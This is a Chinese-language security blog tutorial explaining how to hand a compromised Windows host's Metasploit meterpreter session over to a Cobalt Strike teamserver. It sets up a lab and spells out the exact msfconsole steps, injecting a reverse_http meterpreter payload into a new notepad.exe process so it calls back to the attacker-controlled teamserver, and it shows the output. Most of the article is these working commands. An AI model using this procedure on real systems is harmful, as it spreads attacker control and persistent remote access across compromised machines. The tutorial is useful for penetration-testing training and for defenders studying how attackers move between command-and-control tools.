Metasploit如何派生一个shell给cobaltstrike

  • A+
所属分类:安全文章

 Metasploit如何派生一个shellcobaltstrike

 

Cobaltstrike作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选,fireeye多次分析过实用cobaltstrike进行apt的案例。cobaltstrike3新版的已经摒弃了metasploit,重写了所有的功能,但是鉴于metasploit功能的强大,cobaltstrike仍然保留了对metasploit的接口,今天我们不聊其他的,只聊当我们使用metasploit获取到shell之后如何派生一个新的shellcobaltstrike

 

实验环境:

目标机器:windowsserver 2012  IP192.168.81.150

metasploit机器:macosx        IP192.168.1.103

cobaltstrike 机器:ubuntu 15.10  IP192.168.81.135

首先,我们通过其他的途径,使用metasploitpayload在目标机器上获取了一个meterpreter

Metasploit如何派生一个shell给cobaltstrike



进入我们获取到的meterpreter

Metasploit如何派生一个shell给cobaltstrike

由于在metasploit的一些局限性和操作的不便利性,我们需要把metasploit获取到的shell派生出来一个新的shell,转交给cobaltstrike,方便我们协同渗透

ubuntu机器上建立一个teamserver,然后本地链接,(仅仅为了演示,实际渗透中teamserverclient分开)

[email protected]:/pentest/exploits/framework3/cobaltstrike$ sudo./teamserver 192.168.81.135 fuckfuckfuck

[*] Generating X509 certificate and keystore (for SSL)

[+] Team server is up on 50050

[*] SHA1 hash of SSL cert is:d59e4862132ac9033c8f91216148bfd6d1049803

启动客户端链接,这里我们需要建立一个新的监听器:

Metasploit如何派生一个shell给cobaltstrike

ok,接下来,我们开始把macos上由metasploit获取的shell派生出一个新的shell转交给cobaltstrike,这里我们需要用到一个exploitexploit/windows/local/payload_inject

这个exploit是注入一个新的payload 到当前的session里面,我们看下具体的操作

 

exploit/windows/local/payload_injectmsf exploit(web_delivery) > use exploit/windows/local/payload_inject

msf exploit(payload_inject) > show options

 

Module options(exploit/windows/local/payload_inject):

 

   Name       Current Setting  Required  Description

   ----       ---------------  --------  -----------

   NEWPROCESS false            no        New notepad.exe to inject to

   PID                         no        Process Identifier to inject of processto inject payload.

   SESSION                      yes       The session to run this module on.

 

 

Exploit target:

 

   Id Name

   -- ----

   0  Windows

 

 

msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http

PAYLOAD =>windows/meterpreter/reverse_http

msf exploit(payload_inject) > set DisablePayloadHandler true

DisablePayloadHandler=> true

msf exploit(payload_inject) > set LHOST 192.168.81.135

LHOST =>192.168.81.135

msf exploit(payload_inject) > set LPORT 8880

LPORT => 8880

msf exploit(payload_inject) > set SESSION 1

SESSION => 1

msf exploit(payload_inject) > exploit

 

[*] Running module against WIN-I6HQQE1E7AG

[*] Launching notepad.exe...

[*] Preparing'windows/meterpreter/reverse_http' for PID 3916

msf exploit(payload_inject) >

这里我解释一下这些参数,

由于cobaltstrike的监听器我们使用的是:windows/beacon_http/reverse_http,所以我们的payload也要使用:

PAYLOAD windows/meterpreter/reverse_http

设置本地监听ip和端口,由于我们的监听器是cobaltstrike的,所以要用到cobaltstrike机器的ip和端口

默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置

set DisablePayloadHandler true

设置我们的当前session,执行,看看ubuntu机器上的cobaltstrike是否已经接受了我们由metasploit派生出来的shell

Metasploit如何派生一个shell给cobaltstrike

okubuntu机器192.168.81.135cobaltstrike已经有了一个新的shell,是由Mac主机192.168.1.103派生出来的新的,转交给cobaltstrike的。

 

在渗透过程中,不要仅限于单一模式的思路,根据实际的情况,选择更优的方法来进行下一步的渗透测试。

 

 

 

 

 

 


本文始发于微信公众号(milsec):Metasploit如何派生一个shell给cobaltstrike

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: